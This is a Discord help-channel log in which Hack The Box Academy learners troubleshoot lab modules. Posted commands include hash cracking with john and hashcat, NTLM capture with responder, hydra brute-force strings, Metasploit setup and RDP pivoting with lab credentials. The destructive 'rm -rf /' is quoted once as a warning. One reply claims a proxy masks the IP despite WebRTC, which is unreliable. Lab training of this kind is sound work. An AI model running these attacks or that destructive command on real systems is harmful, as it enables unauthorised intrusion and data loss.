modules

[fathom pendant]

Oh... it is

I just checked

Idk why I was thinking

Gotta love regex

I had my operators backwards at first though lmfao

[tidal kelp]

so it is in the mut?

[fathom pendant]

Yes

At least the base one if you didn't cut any as has been suggested many times in this chat lol

[tidal kelp]

ok

running 'john --wordlist=mut_password.list bit1.hash'

lets see if it spits something out

[fathom pendant]

It'll take a minute

But you'll probably laugh when it gives it to you

[tidal kelp]

got it

but get "Not authorized to perform operation" when trying to access the mount..

[fathom pendant]

Try accessing as root

¯_(ツ)_/¯

[tidal kelp]

how would you do that

[fathom pendant]

Have you honestly never been root on your own system?

[tidal kelp]

I have and am

but stuck on how to access the mount

[fathom pendant]

Are you missing the sudo on your mount command?

Idk where you're lost then bc you should be able to access it just fine if you follow the steps

Like, is it mounted, and still nothing?

[tidal kelp]

maybe I'm just missing something obvious

[fathom pendant]

Like if you sudo ls - la /wherever/you/mounted

When you mounted it: did you include the password

[tidal kelp]

yes

Im so lost

[fathom pendant]

Huh I followed the steps exactly and had no issues

Did you do the "cryptsetup" command?

Yeah following the link from above here #modules message steps exactly it worked just fine

[fathom pendant]

Dm me a screenshot of your terminal and the commands you did

[fathom pendant]

https://tenor.com/view/dark-souls-bonfire-light-bonfire-gif-20346592

[wide oak]

Hi guys,

I'm stuck on the AD Enumeration & Attacks - Skills Assessment Part I.
I got the hash for the ||svc_sql|| user, and I attempted using hashcat with rockyou.txt wordlist to crack it with no success. 😥

[hallow kiln]

it does crack with rockyou, what's your command?

[silver mesa]

use rockyou.txt

[hallow kiln]

they did

[naive wadi]

Also make sure that you haven't got any leading white space etc wiht your hash.

hashcat -m 13100 <hashFile> /usr/share/wordlist/rockyou.txt

[silver mesa]

exactly

[eager loom]

why for answering the question: Which kernel version is installed on the system? (Format: 1.22.3). Why do i have to use the kernal release to get it right and not the kernal version using uname -v like the question says?

-v, --kernel-version
print the kernel version

[clever halo]

Promoted to script kiddie 🥲 is that a promotion or a reprehensible

[candid lily]

anyone know what to do in attacking common services medium assessment

there is only dns server

and a useless pop3

[silver mesa]

Rescan it again, you will be finding a tranferring protocol

[candid lily]

i did a full tcp scan but found only 4 ports, a dns, a ssh and pop3 and pop3/ssl

ok lemme try again thank you

[silver mesa]

you can get the service in different port number also, check it

[candid lily]

i used nmap -p-

[rustic sage]

always do a quick scan first so you can start, and then while you're investigating those initial findings you should always run a full scan (unless the goal is to be sneaky).

[candid lily]

i still see only 4 ports

[silver mesa]

Revert your IP and give try or try with pwnbox

[candid lily]

revert means change the vpn or restart the machine

[silver mesa]

restart the machine

[candid lily]

i tried yesterday and got the same 4 so imma try with pwn box thanks

[sly dome]

the minrate is too high also combined with the -T3 i think

you can miss open ports

also disable dns discovery with -n

[candid lily]

even on pwn box it is showing only 4

i got some domains from dns but they are not reachable

[sly dome]

did u restart the target

[candid lily]

oh no

oh wow i see it now thank you so much

would've wasted hours on digging lol

since when did they add this

[sly dome]

ive seen since my beginning on the academy 2 months ago

[rustic sage]

personal vm >>>

[sly dome]

python2 💀

[rustic sage]

read the error, the "address already in use", use a different one

[sullen loom]

Hey guys, im currently learning cybersec and I've been using Kali Linux for almost a week now. And I like it. So I got my old computer (dual core with 8gb ram) and got a new laptop(8gb ram too, but 6 core 12threads). I wanted to setup a proper secure lab/environment to learn hacking , networking, scripting and doing ctfs. So how am I set it up? And could I use the old computer I was talking about as a server for VMs? Which distro should I run as my host, on my main laptop for daily driving it and learning linux.

Considering either parrot or something else(dunno about Dailying Kali, though I prefet ksli over parrot)

[wide oak]

oh yeah, it was a whitespace issue 🤦‍♀️

[sullen loom]

Ild love to hear your advice guys

[midnight helm]

Anyone available to assist with a module?

I am working on attacking common services in the Academy and I can not for the sake of me connect to the FTP server I have tried every method in the FTP training.

[acoustic owl]

In which section, which question are you in?

[midnight helm]

Attacking Common Services Attacking FTP : What username is available for the FTP server?

[acoustic owl]

What ports did you find?

[midnight helm]

I found the correct ones and tried conneting I get connection faild. I tried Netcatting also

[acoustic owl]

How did you try to connect?
Show me the command you used

You can DM it to me so we don't spoil here

[lean jackal]

Hi everyone. May someone help me on File Inclusion - Automated Scanning please? When I run the command provided ||ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://http://94.237.56.76:57958/index.php?FUZZ=value'|| I get no result:

[midnight helm]

sent over

[lean jackal]

how can I enter a screenshot here?

[lusty thicket]

you have to verify your account to be able to send screenshots see #welcome

[gray sigil]

Anyone aware why metasploit isn't returning any info? Just says successful but doesn't give any of the info it's supposed to according to the walkthrough.

[sullen loom]

Can someone help me here? Not irritating or spamming, pls just don't ignore this

[lean jackal]

thank you

[sullen loom]

Are you guys running these in VMs? locally or in cloud

[gray sigil]

on a VM

locally

[lean jackal]

Hi everyone. May someone help me on File Inclusion - Automated Scanning please? When I run the command provided ||ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://http//94.237.56.76:57958/index.php?FUZZ=value'|| I get no result:

[sullen loom]

Alright cool

[tender dove]

nvm, a really silly formatting issue

[sly dome]

http://http://

you have syntax error

[lean jackal]

OMG how dumb, thanks for your help

[sly dome]

any time

[gray sigil]

Well, thanks for verifying at least.

[final shell]

Hey

Everyone

How are you all

[gray sigil]

@lusty thicket Are you running parrot?

When using Metasploit to mssql_ping an IP, it works fine on HTB pwnbox but my personal VM doesn't return any info, just says scan successful for some reason. Anyone got any ideas as to why this might be?

[rustic sage]

do you guys accept people who have never hacked before? i really want to learn

[rustic sage]

HTB Academy is a great place to start if you're a beginner

[rustic sage]

thank god

sign up on the website and start doing some modules. if you need help this is the channel to ask questions about those modules

thank you.

[lusty thicket]

kali

[rapid kiln]

Hi @here I am stuck on Attacking Common Services - Easy . I was able to get the username. Trying to brute force mysql with given password file also use rockyou.txt on smtp and mysql but Incase of mysqL it getting error out like connect block after some time. Can someone please point me out what I need to focus and where I am getting thing wrong 🙂 . Thank you

[late sable]

Hello, i've just started the "Starting point" course and i'm currently stuck on "Responder" module, the said Responder does not capture any hashes. I used the command and url 'replace with my IPs) provided on the Walktrough. I'm connected via openvpn since there was an active service on port 80 with pwnbox. I don't have any errors, just no hashes. Does anyone have an idea ?

[rustic sage]

if there is a provided password list, use it. || there are other ports you can brute force besides SMTP and MySQL ||

[rapid kiln]

Hey @mossy hatch should I use default password list or rockyou ?

[rustic sage]

go to #starting-point

[late sable]

my bad

[ebon jasper]

Hello everyone!
I need help with "Nginx Reverse Proxy & AJP" from server-side attack module. That problem (nginx: [emerg] "upstream" directive is not allowed here in /etc/nginx/conf/nginx.conf:10) occuring after adding required code to config file. I searched from google I found solution that i have to add "include /etc/nginx/conf*" line to /etc/nginx/conf file but that didn't help me. I tried both my machine and pwn box both situation I have same problem

[wooden summit]

Hey there everyone, greets!
I 've been trying to learn by fooling around with msfconsole poking on my target machine via the pwnbox.
I should be working on finding public vulnerabilities, namely for the WP Simple backUp plugin and work my way into getting the flag.
While having stuck for sometime, I thought I 'd try smth different.
So:

• I run through the msf search on Wordpress and found the WP bruteforce/user enum exploit.
• I managed to find out the username and id# on the wp-login and from that point on
• I 'm throwing whatever wordlist makes sense on the set pass-file option.
  QUESTION: It should work yes?

[ebon jasper]

Never mind, I randomly found answer😅

[ebon jasper]

I think it should be CVE

Sounds like you have to find it using msf right?

[wooden summit]

for the flag, yes it should be.
The question is if I 'll be able to bruteforce the wp-admin login

[ebon jasper]

You don't have to use msf to brute force, wpscan better option i assume you know that tool?!

[wooden summit]

Now I know of, I 'll take some time checking this too! thnx 🙂

[last quarry]

Hi guys, I'm a little bit lost when it's the finding bad characters on Windows Buffer overflow

I'm using the python script used in the course but my results are really different than the course

I really do not understand the py script is the same as the course

[vale crescent]

Guys I am following wireshark and sql injection course from udemy will these two enough to try ctf in HTB?

[naive wadi]

also checkout #homelab-sysadm for help with homelabs etc.

[naive wadi]

had that happen so many times.

[tranquil axle]

Well you can try boxes at htb with any level of knowledge, but just sql injection won’t get you too far and having to use wireshark is probably even more rare. There are quite a few techniques you may need to know for htb boxes

[dusky rivet]

Hello everyone,

Hope you're good. Need your help regarding : Active Directory Enumeration & Attacks
Session : LLMNR/NBT-NS Poisoning - from Linux
Question : Crack the hash for the previous account and submit the cleartext password as your answer.

So, I ran "||sudo responder -I ens224||" and got many NTLMv2 hashs.
I got users : ||cluster / Backupagent / wley / forend / svc_qualys / lab_adm.||

Problem : I cracked ||wley / forend and svc_qualys||
Regarding the question, I think I have to crack one left hash previsouly mentionned : ||lab_adm||
But with the following commande of hashcat, it's seems not possible to crack it : hashcat -m 5600 hash /usr/share/wordlist/rockyou.txt
How do I have to do ?

Thanks for reading

[hallow kiln]

I don't think your'e asked to crack lab_adm's hash anywhere

[sullen loom]

uhmm, hey guys?

[hallow kiln]

in general, not every hash you obtain can be cracked

[sullen loom]

anyone?

[dusky rivet]

Saddly I tried to crack other hashes but no one could be cracked

[sullen loom]

oh alright, thanks

didnt see your message

[dusky rivet]

still stuck on it :/

[hallow kiln]

like I said, not every hash will crack

they're not all using weak passwords

and the module doesn't ask you to crack it either

[naive wadi]

are you using proxychains?

if so you haven't actually prefixed your xfreerdp command with it

so there will be no route to the host your trying to connect to

[sullen loom]

@naive wadi I dont have access to that channel though

[hallow kiln]

read and follow #welcome

[naive wadi]

you need to link your htb account

see @hallow kiln response

what specific part are you on? If you let me know I can check my notes. Also there is a beautiful irony that you have proxy in your name and you're having issues proxying

cool let me check

but what section of that module? There's a bunch of sections?

@mossy hatch

k

are you sure .19 is who you're supposed to try and connect to? Have you double checked all of your addresses are correct?

so your jump host/pivot-host is 251 and your target that your'e trying to rdp to is .19?

[hallow kiln]

what's the output when you do ipconfig on the pivot host?

[naive wadi]

okay so xfreerdp /v:10.129.79.251:8080 /u:victor /p:pass@123

[rustic sage]

proxychains?

[naive wadi]

nah, it's not a proxychains one

[rustic sage]

i'm not caught up on this.. can you actually reach the host you're connecting to

[naive wadi]

it's the netsh

[rustic sage]

ahh okay

let me check my notes

[hallow kiln]

oh yeah, it's probably that, the initial command posted doesn't have the correct IP

[naive wadi]

he basically is trying to connect to a 172. host when he has actually forwarded a port to his 10. pivot host which is listening on 8080/9001

remember your forwarding port 3389 traffic to port 8080 or 9001, can't remember what you had setup

[hallow kiln]

follow what ScaredGrandpa said

[naive wadi]

yeah but the point is you have mapped 9001 to 3389

so you need to xfreerdp /v:10.129.79.251:9001 /u:victor /p:pass@123

okay

[rustic sage]

your IP is wrong

[naive wadi]

well either way that's the issue

[hallow kiln]

then same command with 8080

[hallow kiln]

^

[naive wadi]

gtg

peace

[lean tiger]

can anyone help me with this question in splunk?

Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all 4624 events the count of distinct computers accessed by the account name SYSTEM. Enter it as your answer.

cant find the correct synstax even with the Hint

[rustic sage]

this says the IP is 172.16.5.150 (this is what you're trying to reach), but your netsh.exe command is forwarding to 172.16.5.19

okay i need you to start from the beginning... you need to send ONE message, and show the results of xfreerdp, ipconfig from the compromised host, and the output from netsh.exe interface portproxy show v4tov4

i'm not going to keep scrolling up and down through wrong/misplaced photos and getting confused

one message with all the proper screenshots

[mild grove]

Hello,
can somebody give me hints regarding NoSQL injection module with Skill Assesment 2 pls ?

[barren crypt]

Hello I need help on getting started on hackthebox

[tidal kelp]

In Common Services / FTP - Medusa is mentioned for bruteforce. In previous sections it has been Hydra. any benchmarketing on these?

[rustic sage]

this is only for HTB Academy - if you need help with a module you'll need to specify what module/section you are on.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[thorn urchin]

idk if its improved but I hated medusa 10 years ago and Ive developed an aversion ever since my shitty 50 line ftp bruteforce python script I wrote in an evening did a better job with less false negatives.

[tidal kelp]

hehe ok

I think I'll stick to Hydra then

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[silver mesa]

I guess your try for 2nd question. that is POST login page

[rustic sage]

idk why it sent that again...

[silver mesa]

Your syntax have few error, like give correct login.php and look view page-source will help you!

I recommand you to reread the material - https://academy.hackthebox.com/module/57/section/489 - Web form Brute Forcing

[rustic sage]

you won't be able to reach 172.16.5.19 so that last screenshot is supposed to error.. your first command isn't specifying the port

/v:10.129.51.233:8080

or do /port:8080

RDP by default is using 3389, but you want to connect to port 8080 so it forwards and follow what you setup with netsh.exe

i know the module teaches 8080, but i'd avoid common port numbers in the future

is the user actually, 'user'?? secondly, i don't believe i ever used :FAIL when doing that module

i'd have to redo the lab to verify if you still need help

let me redo the skill assessment, you said it's the Skill Assessment - Website?

[tidal kelp]

are there problems with box on Common Services > FTP. Been trying to bruteforce for a while now, should take this long for such at simple task

hydra -L users.list -P pws.list ftp://10.129.123.220 -s 2121

user list and pws from resources

been going for 20 min +

Attacking Common Services > FTP

[silver mesa]

http-post-form "/login.php:[user]=^USER^&[pass]=^PASS^:FAIL=log-in:SUCCESS=Login:F=<form name='log-in'

1. Give - correct login.php
2. Give - correct user and pass format
3. Look page source - for the Fail string

Refer : https://academy.hackthebox.com/module/57/section/489

[tidal kelp]

i respawned the target and now there is no ftp port...

lets try again

[rustic sage]

right but you set up a listener to

list on 10.129.51.233:8080 and forward to 172.16.5.19:3389. you cannot connect directly to 172.16.5.19, you're on different networks so why try. BUT you did setup a listener that you're not using

|| xfreerdp /v:10.129.51.233 /port:8080 /u:<user> /p:'<password>' ||

your problem is you were trying to connect to something you can't reach in the first place.. you setup a listener and weren't using it

haha i was just about to get back to you sorry

was jumping around the place helping others

do you understand why @rustic sage ?

don't use :FAIL and :SUCCESS, i don't believe the module even explained this?

the main format is "<login-page>:<request body>:<error message>"

and as you've probably learned, it doesn't actually have to be an error message, it can be anything on the login page (like HTML code) that won't be on the dashboard of an authenticated user. an authenticated user wouldn't see <form name='login' because they're already authenticated. this is how hydra will determine if it's successful or not

[tidal kelp]

got it, only 3 respawns 🙂

[rustic sage]

no problem. feel free to reach out if you need some more help 😉

[kindred basalt]

Hi, freshly joined where is the bash button 😫

bash terminal*

[rustic sage]

what OS are you using?

there should be one pinned on kali (and i believe parrotos too)... if not open the applications folders and search for it

[fathom pendant]

There's many ways to find it depending on your os

[kindred basalt]

I can't even do introduction, damn feels bad. It's linux

[fathom pendant]

Yes but there's the pwnbox (htb's in-browser vm), parrotOS, Kali

[kindred basalt]

yes

[rustic sage]

lol send a screenshot of your screen

[fathom pendant]

They can't

[kindred basalt]

I'm supposed to locate the bash terminal icon and click it and then type "uname -a" to find out the flavor of something

[fathom pendant]

OK. Look at your screen, identify the screen. Turn your computer off and give up. (Joking)

[kindred basalt]

ha ha, yesterday I did exactly that (not a joke)

[fathom pendant]

You still didn't answer

[kindred basalt]

I didn't understand the question

[fathom pendant]

Are you using the pwnbox

Or your own vm

[kindred basalt]

what's a vm?

[coarse ginkgo]

virtual machine

Hosted through virtualbox or vmware usually

If you aren't using one of those you are probably using pwnbox

[thorn urchin]

I dont mean this is a mean way. but you may not be ready for the infosec fundementals yet

[kindred basalt]

HA ikr

but uhm, so I'm not sure what the answer is

[thorn urchin]

Id look into setting up your own VM and look up resources on basic Linux knowledge

[fathom pendant]

Not to sound mean: but how old are you?

[thorn urchin]

and come back to htb academy when youve got a little more computer exp under your belt

[kindred basalt]

too old for this

I just don't know any of this

[thorn urchin]

Thats why I suggest coming back when youre a little more comfortable with basics

[kindred basalt]

how can I get comfortable with basics? where do I learn?

[thorn urchin]

Like, give it a month of practicing and learning basic Linux and VM operations

[fathom pendant]

Yeah. The Fundamentals assume a fair bit of working knowledge

And Google

[vague fossil]

over the wire bandit was how i learned to work with linux

[kindred basalt]

yt?

[coarse ginkgo]

The best way to gain linux experience is by setting up your own vm and just using it for a bit and also using a guide like linux basics for hackers is a good book

Or youtube videos for free

[fathom pendant]

Linux for Dummies

[kindred basalt]

definitely what I need

[thorn urchin]

Its a real book

and not bad tbh

[fathom pendant]

God I love the {topic} for dummies books

[thorn urchin]

at least the version I read a long time ago

idk if they updated it

[kindred basalt]

why is this so hard

[coarse ginkgo]

You gotta start at the basics and work your way up

[thorn urchin]

Youre picking arguably the hardest field in all of computing

[fathom pendant]

It's only as hard as you make it

Tbh

[thorn urchin]

next to computer engineering at least

[thorn urchin]

Im speaking about the heights of the field

[fathom pendant]

If you keep saying it's hard then you're gonna constantly gaslight yourself into giving up

[thorn urchin]

the journey from beginner to master is such a massively longer road than people give credit for

[kindred basalt]

I thought that HTB was for beginners at least it asked me if I was a beginner and I did not lie about that

[fathom pendant]

Ye I figured

[fathom pendant]

HTB is more for intermediate users

[thorn urchin]

HTB is kinda notorious for having...higher expectations about what a beginner entails

[vague fossil]

beginner in cybersec is like already a novice sysadmin/programmer

[thorn urchin]

this

[coarse ginkgo]

Try hack me is an easier one to get started with

[kindred basalt]

fun...

[coarse ginkgo]

But I would still recommend learning linux before going to try hack me

[thorn urchin]

Yup

[kindred basalt]

Okay

[thorn urchin]

just google how to setup a VM. and research different "distros" and try installing them and learning how to use em

try several different distros even

[fathom pendant]

Yup

Just because certain distros are 'common' for hacking doesn't necessarily mean you have to use it

[coarse ginkgo]

They usually just have more preinstalled tools

[kindred basalt]

from what I read a distro is a specific version of linux

is that right?

[vague fossil]

yea

[fathom pendant]

You can get by just fine, for instance, with Ubuntu

[thorn urchin]

more of a different flavor

[fathom pendant]

^

[kindred basalt]

uhm I see

I'm guessing there's also kernel

[thorn urchin]

Linux is the kernel

[fathom pendant]

Linux is the kernel

[kindred basalt]

OH

[fathom pendant]

Jinx f0x

[thorn urchin]

thats why I say distro isnt quite the same as version

cause you can have diff kernal versions within the same distro lol

[naive wadi]

Learned this the hard way after signing up for oscp after a few low level certs

[kindred basalt]

how does a flavor look like?

[fathom pendant]

It depends

[thorn urchin]

They can be radically different

You can have two distros be nearly identical and two distros that feel like utterly different OSes entirely

thats why I recommend installing and playing with several different distros

[fathom pendant]

Pwnbox is a flavor, parrot, Kali, RedHat, Ubuntu

All flavors

[thorn urchin]

you even get flavor of flavors 🙂

pwnbox is justa. flavor of parrot

[kindred basalt]

okay that actually made me get the question of introduction right

[thorn urchin]

which is a flavor of debian

[kindred basalt]

yay

once I understood what a flavor was

it became ez

[fathom pendant]

Well yes. But did you do it from the terminal?

[kindred basalt]

yea

I opened a icon

[fathom pendant]

So you did find the terminal

[kindred basalt]

I guess

I opened 3 different command stuff

💀

[thorn urchin]

good

clicking around shit to figure it out is good

[fathom pendant]

Clicking things randomly isn't bad

[thorn urchin]

get used to doing that alot

[kindred basalt]

first time I opened the files stuff

I got very lost very fast

[fathom pendant]

Yeah that'll happen

Think of /home/{username} as C:\users\{username}

[kindred basalt]

Okay

[thorn urchin]

except for the root user lul

Reading up on the linix filesystem will be useful

[fathom pendant]

/root/ my beloved

/root/flag.txt

[kindred basalt]

i am confused

[thorn urchin]

a little trick to remember when things get confusing though is: while some linux filesystem stuff is super duper important and critical, theres other sections just because different groups of people disagreed on the best way to do it so you get a mix of em

[fathom pendant]

^

[kindred basalt]

oh okay

[fathom pendant]

/root/ is equivalent to c:\users\Administrator

[kindred basalt]

Oh that's what I saw in the bottom of the command page after I typed the uname -a command

without the last /

[naive wadi]

Also wait until you find out in linux that everything is a file

[kindred basalt]

👉

[thorn urchin]

everything

[kindred basalt]

tough

[naive wadi]

well apart from processes, but they can come to that abstraction when they need to

[thorn urchin]

files too

/proc/self 🙂

[fathom pendant]

Yep

[naive wadi]

I didn't want to melt their brain but since you've brought proc into this

[kindred basalt]

is it normal to try and use the firefox inside the thingy and not working?

[fathom pendant]

Which is why the most common troll, and I cannot stress enough the importance of not running this command, is rm -rf /

[kindred basalt]

im supposed to access some ip address

and says the connection has passed out

[naive wadi]

@fathom pendant speaks the truth do not run that

[fathom pendant]

The pwnbox is limited on internet access

[kindred basalt]

anything I need to do?

[fathom pendant]

What section are you on?

[naive wadi]

we heard you like filesystems, so we made everything a file and put a virtual filesystem in your filesystem

[kindred basalt]

Interactive section with target

[analog dock]

As far as I know there’s security in place for that command now

[fathom pendant]

Maybe on the pwnbox

[fathom pendant]

And you're doing http://ip:port?

[kindred basalt]

yup

[quasi wave]

is it worth it to redo two sections I have already completed in order to refresh understanding of a more advanced section? I'm doing Intro to Nmap module and I'm on last section and I have some stress over other stuff unrelated to HTB or hacking and I had a hard time figuring out the last section and I'm still having a hard time and now I think I need to refresh myself on previous two or three sections. I read the fourth to last section again and now I'm thinking of redoing the easy and medium labs. Is that a waste of time? I'm sure I can do it in a few days if I need to. Its been a week or two since I touched Academy.

[fathom pendant]

Yeah use your own browser, unless you buy some cubes or subscribe, the pwnbox is hyper limited on internet access

[kindred basalt]

õh

ok

heck

[fathom pendant]

Remove that, it's still a spoiler

As it's literally the answer

[kindred basalt]

f

[thorn urchin]

Yup doesnt hurt to do review and update notes

Sometimes Ive gone back to an old section and Im abhorred about how bad my notes were and I take a solid five to ten minutes updating them

[acoustic flame]

How find the password for the user mary with wevtutil

[fathom pendant]

But yeah I suggest setting up your own vm, as free is limited to one spawn per day

[thorn urchin]

use wevtutil to find the password, make sure youre looking for mary

[fathom pendant]

Lol

[kindred basalt]

my brain can't process this VM thing atm

[fathom pendant]

Following the steps from the section is a good start

[thorn urchin]

Thats why I said take a month off from htb to learn VMs

[acoustic flame]

in windows privilege escalation Module

[kindred basalt]

Okay good advice

but my brain process has other priorities atm

[analog dock]

I believe there’s even a module for setting everything up

[naive wadi]

I had to spend so much time updating notes as my ability to take notes has gotten better the further I go through the course

[fathom pendant]

There's really not a whole lot that's complicated (unless you want it to be)

[kindred basalt]

yea apperantly to have a VM takes only 5 steps

[acoustic flame]

i have already followed but i can't able to get the PWD for mary can anyOne help me OUT !!

[kindred basalt]

6 if u count with the shutdown

[thorn urchin]

yup exactly

[hallow kiln]

yeah, you can get a VM up and running really quickly

[thorn urchin]

I really want to spend a weekend just sitting down and totally overhauling my notes

[analog dock]

Download VMware/virtualbox, download kali iso, create vm in either of the hypervisors, install kali

[naive wadi]

migrated to org-roam so cross linking all my notes too as I go

it's been really useful

[thorn urchin]

Im doing little tweaks here and there but itd be better if I just sat down and did it all in one go. Start leveraging more advanced obsidian features too.

[fathom pendant]

Step 1) identify which software you wanna use
Step 2) download the version of Linux you want
Step 3) follow installation instructions (usually give more resources than recommended minimum)
Step 4) wait

[naive wadi]

I had covid recently and actually did that.

[thorn urchin]

But my weekends are booked till like mid November

[naive wadi]

Just get someone to cough into your open mouth and you can do what I did

[kindred basalt]

I like the step 4

[thorn urchin]

I already had to take some work off for health stuff recently so I cant afford to miss too much more atm

[kindred basalt]

From what I found on google :
Step 1: Prepare your computer for Virtualization. ...
Step 2: Install Hypervisor (Virtualization Tool) ...
Step 3: Import a Virtual Machine. ...
Step 4: Start the Virtual Machine. ...
Step 5: Using the Virtual Machine. ...

[naive wadi]

fair

[kindred basalt]

and 6 shut it down

[rare topaz]

i dunno where to ask this, but how can i contact academy CS, i can't get it to appear on the support chat bubble

[acoustic flame]

Can anyOne plZz help me out Broh !
Get-WinEvent -LogName security | where { $.ID -eq 4688 -and $.Properties[8].Value -like '/user'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }} from this i can not able to fetch the password for Mary !!!

[thorn urchin]

@acoustic flame my profile specifically says to ask before DMing, and its also against the server rules to send unsolicited DMs

[acoustic flame]

@thorn urchin Ook.

@thorn urchin Thats Amazing !!!

[gray sigil]

You using a pop-up blocker?

[naive wadi]

This, it does not play nice with a popup blocker

[rare topaz]

no, i see the chatbox but no idea where to actually contact CS

[thorn urchin]

Messages

type some bs

robot will give a useless answer

then hit chat with agent

[rare topaz]

i dont see any way to start a message

just says no messages

[oblique void]

when I run arp -a in my lan which im connected via wifi no other devices were found

[mild grove]

Anybody to help with NoSQL skills assessment 2 pls ?

[naive wadi]

https://dontasktoask.com/

[naive wadi]

what's your question?

[oblique void]

Yeah so I run arp -a in cli but the devices in terminal is not displaying only my ip and gateway shows there but I when go to the router it shows the devices and the firewalls are off

[mild grove]

I have injection point ... I have payload because I thinks it is SSJI it is blind injection ... not sure if I need to find correct object parameter name because it looks like that e.g password is not password but smt. like pass ... I want to extract token through JS but not sure if it is good way ...

[hallow kiln]

You're provided with lists in the module

[proud sequoia]

Anyone able to assist with 3rd question from skill assessment on WIndows event logs?

By examining the logs located in the "C:\Logs\PowershellExec" directory, determine the process that injected into the process that executed unmanaged PowerShell code. Enter the process name as your answer. Answer format: _.exe

[static roost]

Can anyone give a hand with DACL Attacks I "Password Abuse"? On the last question, tried a couple variations, but unable to read or download flag.

[shut wraith]

SQLMAP ESSENTIALS

skill assessment

What's the contents of table final_flag?```
I have looked in every single place on the web application and I've even used ffuf to fuzz for directories and files useing raft_large_files/directories. Can anyone please nudge me or hint me or save me please

[lucid viper]

How do I do this, new to hacking

[shut wraith]

Did you make an account

[lucid viper]

For what

[shut wraith]

For Neopets

[lucid viper]

I found this on my discord server search tab

[shut wraith]

If you want to learn how to hack. Use HTB Academy. It's a school for hacking.
http://academy.hackthebox.com

[lucid viper]

Do I have to have a computer

[shut wraith]

You can probably do it using Kali Nethunter on mobile but that is going to take a lot of effort

So yes you need a pc or laptop

[lucid viper]

Shit

[shut wraith]

You should it's really fun

[rustic sage]

well you didn’t look EVERYWHERE

best advice is || launch Burp and listen and you’ll see what you missed ||

[shut wraith]

I used Burp for each directory and file that I found. The only thing I find are API related to google maps for when you are checking out. Can you please give me any nudge towards the vector Please?

[rustic sage]

you can dm me

[lucid viper]

I'm so confused

[shut wraith]

What has confused u

[thorn urchin]

then this isnt the server for you

this channel is for discussing a academy modules only and the server is for the HTB community at large. If you dont know what that is then its not a place that would appeal to you.

[lucid viper]

I joined because the description was learning

[thorn urchin]

Not saying you have to leave but read #rules and #welcome and stay on channel topic

[lucid viper]

Well I don't see a general chat now do I 🤷‍♂️

[thorn urchin]

Yeah because you havnt read #welcome

the server is locked off to people that havnt verified their account

[lucid viper]

Dont have an account for it

[thorn urchin]

No shit

Thats why I said this server was likely not for you 😂

Either you make an account or theres nothing for you here

Be like me joining a basketball discord when I dont play basketball

[lucid viper]

Obviously

[rustic sage]

try clearing cache, logging out, and then back in?

[fathom pendant]

Been having box stability issues myself on the us vpn, haven't tested the EU ones to double check if it's just me

Shouldn't be

[clever herald]

i want to bruteforce using dnsenum but i cant because the box keeps randomly falling over

[fathom pendant]

Try changing vpn region, resetting pwnbox, and resetting target

[clever herald]

i'll try changing region

[fathom pendant]

Well when you change regions you'll have to reset target

[lethal shard]

hello! i found ||ticket in Ccache shared folder|| in crackmapexec module in last questin skills assessment. it is malformed and i cant use it. is it a rabbit hole and i need to change the focus?

[fathom pendant]

Did you try using it. Or are you just asking before doing

Yeah it happens (probably more than it should)

[lethal shard]

I tried. your answer helped me understand that I was doing something wrong, probably accidentally adding a byte to the ticket. rebooting the machine and reusing the ticket, as well as more careful work with the ticket (Kerberos and Impacked) = everything worked out.
maybe it’s because I’ve been studying this module for 7 hours and I’m tired). thank you

[fathom pendant]

No problem, there's a handful of people that hit a wall and literally don't try anything

[wooden fossil]

having trouble on Intro to Metasploit, question is to use EternalRomace. But everytime i run the exploit is says "exploit successful but no session created"

[fathom pendant]

Did you set the right LHOST?

[wooden fossil]

the LHOST is just some random IP and its listening on port 4444, I never specified that IP or port before tho

I am using the instance of parrot provided by HTB, not using my own machine. if that is significant in any way

[fathom pendant]

Well if you're not on an attack host: LHOST will be the tun0 ip

L Stands for Listening

If it's not an ip/interface on your system it won't call back to you

It will call (unsuccessfully) to that random ip

[wooden fossil]

thank you, used ifconfig and set the correct IP for LHOST, got a shell now

[fathom pendant]

Fun fact in msfconsole you can do lhost=tun0 and it'll grab that interface's ip

Or whatever the command is my msf stuff is rusty lol

[wooden fossil]

ahhhh okay, thats handy. thank you

[fathom pendant]

Mhm

[steel perch]

Can anyone help me with Authentication Bypass - Type Juggling in Whitebox Attacks module? This section seems relatively straight forward, just use a || magic hash || but I can't seem to get it to work.

[orchid pine]

guys any videos or write ups that i can watch or read to just know about active dirctory hacking like to understand the concept of the of the course from a to z befor going into the skills assessemeent

anysuggestions

[idle kestrel]

Anyone available to compare flags for the first question on NTLM Replay Attacks - NTLMRelayx Use Cases? I have the flag from the connections.txt file, but it's not accepting the flag as the right answer.

Both of the flags. I got them from the files you supposed to, but the system will not accept the flags.

[sullen torrent]

hey im doing the same lab (and thank you for the help) but im curious as which exploit do you choose?
i did search eternalblue and like 4 different options came, which one do you choose now?

(i searched for eternalblue instead of eternalromance but how'd ik to search for ms17_010 instead then 🥲 )

[orchid pine]

anyone

[acoustic owl]

Have you already done the module Introduction to Active Directory already?

https://www.youtube.com/playlist?list=PL1H1sBF1VAKVoU6Q2u7BBGPsnkn-rajlp

[orchid pine]

Yes i did that

And im close to end attacking with enumeration

And i need to practice those techniques

Cuz too many things i need to see what i can do first what second if this disnt work lets try another thing i didnt want just to study like i have. Lot of information need to put theme under practice read or watch something to be more familiar with it

[acoustic owl]

Maybe this one?
https://app.hackthebox.com/tracks/Active-Directory-101

[orchid pine]

Do i need more skills without the windows privileges escalation and the Active Directory?

[acoustic owl]

No idea what skills you need.
At the exam you need all skills from all 28 modules and from the 12 modules which are considered as basic requirements for the path.

[orchid pine]

Thank you mate

[valid cipher]

@acoustic owl are u around

have important question

@thorn urchin ?

[fathom pendant]

Just ask your question

They're less likely to answer if you don't just ask

[valid cipher]

If i use a proxy can my ip be leaked because of the WebRTC thing

[fathom pendant]

That's not related to an academy module

[valid cipher]

it is

[fathom pendant]

Which one?

[valid cipher]

networking i guess

[fathom pendant]

"I guess"

[valid cipher]

its the networking module

pls help bro

its important

[fathom pendant]

If traffic is routed through a proxy: your ip is still masked

[valid cipher]

ok so i dont have to worry about webrtc

[fathom pendant]

